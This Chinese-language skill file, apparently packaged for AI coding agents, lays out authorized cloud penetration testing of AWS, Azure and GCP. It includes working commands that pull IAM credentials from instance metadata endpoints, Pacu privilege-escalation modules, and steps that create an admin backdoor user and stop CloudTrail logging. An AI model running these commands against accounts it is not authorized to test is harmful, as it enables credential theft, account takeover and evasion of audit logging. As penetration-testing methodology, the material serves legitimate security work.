skills/conducting-cloud-penetration-testing/SKILL.md
本 skill 概述了对 AWS、Azure 和 GCP 云环境进行授权渗透测试的方法论。 涵盖理解测试范围的共享责任模型、利用 Pacu 和 ScoutSuite 等云专用攻击工具、 利用 IAM 错误配置、测试针对云元数据服务的 SSRF, 以及按照 MITRE ATT&CK 云矩阵对发现进行报告。
npx skillsauth add killvxk/cybersecurity-skills-zh conducting-cloud-penetration-testingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
不适用于:对云账户进行未授权测试、测试云提供商基础设施本身(已由共享责任模型覆盖),或未经云提供商明确批准的 DDoS 模拟。
基于共享责任模型建立测试边界。客户负责测试配置、IAM 策略、应用安全和数据保护。云提供商管理物理基础设施、虚拟机管理程序和托管服务内部组件。
云渗透测试范围文档
=======================================
目标: AWS 账户 123456789012(生产环境)
测试窗口: 2025-02-24 08:00 UTC 至 2025-02-28 18:00 UTC
授权: 由 CISO 签署,日期 2025-02-20
测试范围内:
- IAM 用户、角色、策略和跨账户信任
- EC2 实例、安全组和网络 ACL
- S3 存储桶策略和数据访问控制
- Lambda 函数、API Gateway 端点
- RDS/DynamoDB 访问控制和加密
- EKS 集群 RBAC 和网络策略
- CloudTrail、Config 和监控空白
测试范围外:
- AWS 托管服务内部(RDS 引擎、Lambda 运行时)
- DDoS 攻击或容量测试
- 物理基础设施或虚拟机管理程序攻击
- 对 AWS 支持进行社会工程
紧急联系: [email protected], +1-555-0199
使用云专用工具枚举攻击面:暴露的服务、公共 IP、S3 存储桶、IAM 配置和元数据端点。
# ScoutSuite 多云评估
scout suite aws --profile target-account --report-dir ./scout-report
# Prowler 全面 AWS 安全评估
prowler aws -M json-ocsf -o ./prowler-output --profile target-account
# CloudFox 用于识别权限提升路径
cloudfox aws --profile target-account all-checks
# 枚举公开 S3 存储桶
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done
# 检查 IMDS v1(易受 SSRF 攻击)
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
--output table
使用 Pacu 识别并利用 IAM 错误配置,从低权限起点提升到管理员访问权限。
# 初始化 Pacu 会话
pacu
# 设置窃取或测试凭据
set_keys --key-alias test-creds
# 运行 IAM 枚举模块
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
# 检查权限提升路径
run iam__privesc_scan
# 需测试的常见提升路径:
# 1. iam:CreatePolicyVersion - 创建具有管理员访问权限的新策略版本
# 2. iam:AttachUserPolicy - 将 AdministratorAccess 附加到自身
# 3. iam:PassRole + lambda:CreateFunction - 创建带管理员角色的 Lambda
# 4. iam:PassRole + ec2:RunInstances - 启动带管理员实例配置文件的 EC2
# 5. sts:AssumeRole - 无 MFA 条件的跨账户角色假设
测试 Web 应用程序是否存在服务端请求伪造(Server-Side Request Forgery,SSRF)漏洞,这些漏洞可访问位于 169.254.169.254 的实例元数据服务(Instance Metadata Service,IMDS),以窃取 IAM 角色凭据。
# 测试 IMDS v1 访问(无需令牌)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 测试 IMDS v2(需要令牌 - 更安全)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS 等效接口
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP 元数据服务
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
测试跨账户角色假设、VPC 对等连接和共享资源访问,以绘制横向移动机会图。
# 枚举跨账户角色信任
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table
# 测试跨账户假设
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name pentest-session
# 使用窃取的凭据枚举可访问的 S3 数据
aws s3 ls --recursive s3://target-bucket/ --summarize
# 检查 Lambda 环境变量中的密钥
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables' --output json 2>/dev/null
done
测试组织的监控是否能检测持久化机制,例如新 IAM 用户、访问密钥、Lambda 后门或禁用 CloudTrail。
# 测试: 创建后门 IAM 用户(仅限授权测试)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 测试: 禁用 CloudTrail(验证 GuardDuty 告警)
aws cloudtrail stop-logging --name management-trail
# 测试: 创建 Lambda 用于持久化(仅限授权测试)
# 验证: GuardDuty 是否生成 Stealth:IAMUser/CloudTrailLoggingDisabled?
# 验证: Security Hub 是否对新管理员用户发出告警?
# 清理: 测试后删除所有持久化产物
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail
记录所有发现,映射到 MITRE ATT&CK 云矩阵,包含严重性、概念验证、业务影响和修复建议。
| 术语 | 定义 | |------|------| | 共享责任模型(Shared Responsibility Model) | 云安全框架,提供商负责保护基础设施,客户负责保护数据、配置和访问控制 | | IMDS | 实例元数据服务(Instance Metadata Service),位于 169.254.169.254,提供实例身份、凭据和配置数据;IMDSv2 需要基于令牌的访问 | | 权限提升(Privilege Escalation) | 利用 IAM 错误配置,从有限权限提升到云账户内的管理员访问权限 | | 横向移动(Lateral Movement) | 使用被入侵的凭据或信任关系访问其他账户、VPC 或云提供商中的资源 | | Pacu | 开源 AWS 利用框架,用于渗透测试,提供枚举、提权和持久化模块 | | ScoutSuite | 多云安全审计工具,收集配置数据并生成含风险发现的 HTML 报告 | | MITRE ATT&CK Cloud | 云环境专用的对手战术和技术矩阵,包括初始访问、执行、持久化和数据渗出 |
场景背景:渗透测试人员在运行 IMDSv1 的 EC2 实例上托管的 Web 应用程序中发现 SSRF 漏洞。该实例具有拥有广泛 S3 和 Lambda 权限的 IAM 角色。
方法:
常见陷阱:未单独测试 IMDSv2 和 IMDSv1 强制执行会给出不完整的结果。未清理测试产物(后门用户、Lambda 函数)会在参与结束后留下真实漏洞。
云渗透测试报告
===============================
目标: AWS 账户 123456789012(生产环境)
测试周期: 2025-02-24 至 2025-02-28
方法论: MITRE ATT&CK Cloud + OWASP 云测试指南
测试人员: 安全团队 - 授权参与
执行摘要:
从只读开发者凭据开始,评估在 3 小时内通过
IAM 权限提升链实现了对生产账户的完整管理员访问。
跨 7 个 ATT&CK 战术识别出 47 个发现。
严重发现:
[PT-001] 通过 iam:CreatePolicyVersion 的 IAM 权限提升
ATT&CK: T1098.001(账户操控:附加云凭据)
严重程度: 严重
起始点: 具有 iam:CreatePolicyVersion 权限的开发者角色
影响: 对所有账户资源的完整管理员访问
证据: 创建了向测试角色授予 iam:* 和 s3:* 的策略版本
修复: 从开发者角色中删除 iam:CreatePolicyVersion,添加权限边界
[PT-002] SSRF 到 IMDS 凭据窃取
ATT&CK: T1552.005(不安全凭据:云实例元数据 API)
严重程度: 严重
起始点: URL 参数易受 SSRF 攻击的 Web 应用程序
影响: 提取了具有 S3 和 Lambda 访问权限的 IAM 角色凭据
修复: 强制使用 IMDSv2,应用 WAF SSRF 规则,限制 IAM 角色范围
按 MITRE ATT&CK 战术划分的发现摘要:
初始访问: 4 个发现
执行: 3 个发现
持久化: 6 个发现
权限提升: 8 个发现(3 个严重)
防御规避: 5 个发现
凭据访问: 7 个发现
发现: 14 个发现
总计: 47 个发现
testing
设计并执行社会工程学渗透测试,包括钓鱼、语音钓鱼、短信钓鱼和物理借口活动,以衡量人员安全韧性并识别培训差距。
testing
主持结构化的事件后审查,以识别根本原因、记录有效和无效的措施,并提出可操作的改进建议以提升未来的事件响应能力。
testing
通过分析举报的邮件、提取指标、评估凭据受攻陷情况、在全组织范围隔离恶意邮件并修复受影响账号来响应网络钓鱼事件。涵盖邮件头分析、URL/附件沙箱检测和邮箱范围清除操作。适用于网络钓鱼响应、邮件事件、凭据钓鱼、鱼叉式网络钓鱼调查或钓鱼修复相关请求。
tools
票据传递(Pass-the-Ticket,PtT)是一种横向移动技术,使用窃取的 Kerberos 票据(TGT 或 TGS)在不知道用户密码的情况下向服务进行认证。通过从已控制的主机内存中提取 Kerberos 票据,攻击者可以将这些票据注入自己的会话以模拟票据所有者。